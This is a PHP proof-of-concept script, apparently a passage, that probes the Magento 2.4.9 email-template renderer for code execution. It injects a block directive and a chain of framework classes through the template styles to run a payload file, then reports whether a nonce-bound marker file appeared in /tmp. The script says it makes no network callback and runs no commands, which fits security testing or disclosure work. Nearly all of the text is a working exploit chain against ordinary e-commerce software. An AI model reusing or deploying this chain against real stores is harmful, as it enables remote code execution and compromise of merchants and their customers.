getObjectManager(); $appState = $objectManager->get(\Magento\Framework\App\State::class); try { $appState->setAreaCode('frontend'); } catch (\Magento\Framework\Exception\LocalizedException $exception) { // A reused CLI runtime can already have an area code. } /** @var \Magento\Email\Model\Template $template */ $template = $objectManager->create(\Magento\Email\Model\Template::class); $template->setTemplateType(TemplateTypesInterface::TYPE_HTML); $template->setTemplateText( '{{block class=Magento\\Backend\\Block\\Widget\\Grid\\ColumnSet rowUrl=$this.template_styles}}' ); $template->setTemplateStyles([ 'first' => $payloadFile, 'second' => \Magento\Framework\DataObject::class, 'generatorClass' => \Aws\S3\S3Client::class, 'version' => 'latest', 'region' => 'us-east-1', 'with_resolved' => [ [ 'instance' => \Magento\Setup\Module\Di\Code\Scanner\ArrayScanner::class, '_i_' => \Magento\Setup\Module\Di\Code\Scanner\ArrayScanner::class, ], 'collectEntities', ], ]); $template->setDesignConfig(['area' => 'frontend', 'store' => 0]); $thrown = null; try { $template->getProcessedTemplate(); } catch (\Throwable $exception) { // A post-sink exception is not the oracle; the marker below is. $thrown = get_class($exception) . ': ' . $exception->getMessage(); } $observed = is_file($markerFile) && hash_equals($markerValue, (string) file_get_contents($markerFile)); echo json_encode( [ 'probe' => 'marker-only component code execution', 'target' => 'Magento 2.4.9 email-template rendering component', 'execution_observed' => $observed, 'payload_capability' => 'write one nonce-bound file in /tmp', 'network_callback' => false, 'command_execution' => false, 'exception' => $thrown, ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES ) . PHP_EOL; $cleanup(); exit($observed ? 0 : 2);